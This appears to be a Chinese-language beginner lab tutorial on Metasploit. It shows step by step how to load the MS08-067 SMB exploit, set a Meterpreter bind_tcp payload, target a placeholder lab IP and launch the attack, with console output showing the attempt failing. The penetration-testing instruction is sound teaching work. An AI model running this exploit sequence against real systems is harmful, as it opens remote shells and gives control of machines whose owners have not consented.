在 Metasploit 中使用 Bind Shell Payload

Kali LinuxBeginner
立即练习

引言

在本实验中,你将学习在 Metasploit Framework 中使用 bind shell payload 的基本步骤。Metasploit 是一个强大的渗透测试工具,它允许安全专业人员发现、利用和验证漏洞。

在 Metasploit 中,“payload”是在漏洞被成功利用后在目标系统上运行的代码。“bind shell”payload 是一种特殊的类型,它会在目标机器上打开一个监听端口。攻击者随后连接到该端口以获得一个命令 shell 并控制系统。这与“reverse shell”不同,后者是由目标机器主动连接回攻击者。

在本次实验中,你将练习完整的流程:启动 Metasploit,选择一个 exploit,配置一个带有必要选项的 bind shell payload,并尝试运行 exploit。

为目标选择一个 exploit 模块

在此步骤中,你将启动 Metasploit Framework 控制台并选择一个 exploit 模块。Exploit 是一段利用系统中特定漏洞的代码。在本实验中,我们将使用一个知名的 exploit 进行演示。

首先,打开你的终端并启动 Metasploit 控制台。我们将使用 -q 标志(表示“quiet”模式)来跳过 banner 并更快地启动。

msfconsole -q

控制台加载后,你的提示符将变为 msf6 >。现在,你需要选择一个 exploit。我们将使用 ms08_067_netapi exploit,它针对 Windows Server 服务中的一个漏洞。

使用 use 命令加载 exploit 模块:

use exploit/windows/smb/ms08_067_netapi

运行命令后,你将看到提示符发生变化,以反映当前活动的 exploit 模块。

msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) >

请注意,Metasploit 默认选择了 reverse_tcp payload。我们将在下一步更改它。

将 payload 设置为 windows/meterpreter/bind_tcp

在此步骤中,你将把默认的 payload 更改为 bind shell payload。如引言中所述,bind payload 会在目标系统上打开一个端口,等待攻击者连接。

我们将使用 windows/meterpreter/bind_tcp。这个 payload 不仅提供一个 shell,还提供一个 Meterpreter 会话,这是一个高级的、功能丰富的 payload,可以提供对目标系统的更多控制。

msfconsole 提示符下,使用 set payload 命令指定新的 payload:

set payload windows/meterpreter/bind_tcp

Metasploit 将确认更改。

msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp

你现在已成功配置 exploit 使用 bind Meterpreter payload。

为 exploit 设置 RHOSTS 选项

在此步骤中,你需要指定 exploit 的目标。在 Metasploit 中,目标地址通过 RHOSTS (Remote Hosts) 选项进行设置。

你必须告知 Metasploit 要攻击哪台机器。在实际场景中,你会在侦察过程中发现易受攻击机器的 IP 地址。在本实验中,我们将使用一个占位符 IP 地址。

使用 set 命令配置 RHOSTS 选项。我们将其设置为 172.17.0.2,这是 Docker 桥接网络上容器的常见 IP 地址。

set RHOSTS 172.17.0.2

控制台将确认 RHOSTS 选项已设置。

msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 172.17.0.2
RHOSTS => 172.17.0.2

现在 Metasploit 已知道要将 exploit 发送到何处。

为目标上的 payload 设置 LPORT 选项

在此步骤中,你将配置 bind shell 的监听端口。对于 bind payload,LPORT (Local Port) 选项指定 payload 将在目标机器上打开的 TCP 端口。这是一个关键概念:你定义的是在 exploit 成功后你将连接的端口。

为此,我们将使用常用端口 4444

使用 set 命令配置 LPORT 选项:

set LPORT 4444

控制台将确认设置。

msf6 exploit(windows/smb/ms08_067_netapi) > set LPORT 4444
LPORT => 4444

为了确保所有选项都已正确设置,你可以使用 show options 命令来查看 exploit 和 payload 的配置。

show options

你应该会看到一个输出表格,其中 RHOSTSLPORT 已根据你提供的值正确设置。

...
Payload options (windows/meterpreter/bind_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT  4444             yes       The listen port
   RHOST  172.17.0.2       no        The target address

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting
...

运行 exploit 并连接到监听端口

在此步骤中,所有选项都已配置完毕,你将发起攻击。exploit 命令(或其别名 run)指示 Metasploit 将 exploit 和 payload 发送到目标。

现在,运行 exploit:

exploit

重要提示: 在此实验环境中,172.17.0.2 地址上没有易受攻击的 Windows 机器。因此,exploit 将会失败。此步骤的目的是理解命令并观察过程。在实际的渗透测试中,如果目标易受攻击,此命令将创建一个会话。

你将看到 Metasploit 尝试连接,但最终会超时。输出将类似于:

msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started bind TCP handler against 172.17.0.2:4444
[*] 172.17.0.2:445 - Automatically detecting the target...
[*] 172.17.0.2:445 - Fingerprint: Unknown
[-] 172.17.0.2:445 - The target is not exploitable.
[*] Exploit completed, but no session was created.

此输出是符合预期的。它确认 Metasploit 运行了 exploit,但由于目标不可达或不存在漏洞,因此没有建立会话。你已成功完成了使用 bind shell payload 的工作流程。

要退出 Metasploit 控制台,请输入 exit

exit

总结

在此实验中,你学习了在 Metasploit Framework 中配置和使用 bind shell payload 的基本过程。

你练习了核心工作流程:

  1. 启动 Metasploit 控制台 (msfconsole)。
  2. 使用 use 命令选择一个 exploit 模块。
  3. 使用 set payload 设置特定的 payload。
  4. 配置特定于目标的选项,如 RHOSTS (目标的 IP) 和 LPORT (目标上的监听端口)。
  5. 使用 exploit 命令执行攻击。

最重要的是,你现在理解了 bind shell 的关键特性:它在目标系统上打开一个监听器,要求攻击者连接到它。这些基础知识对于进行渗透测试和理解不同的远程访问方法至关重要。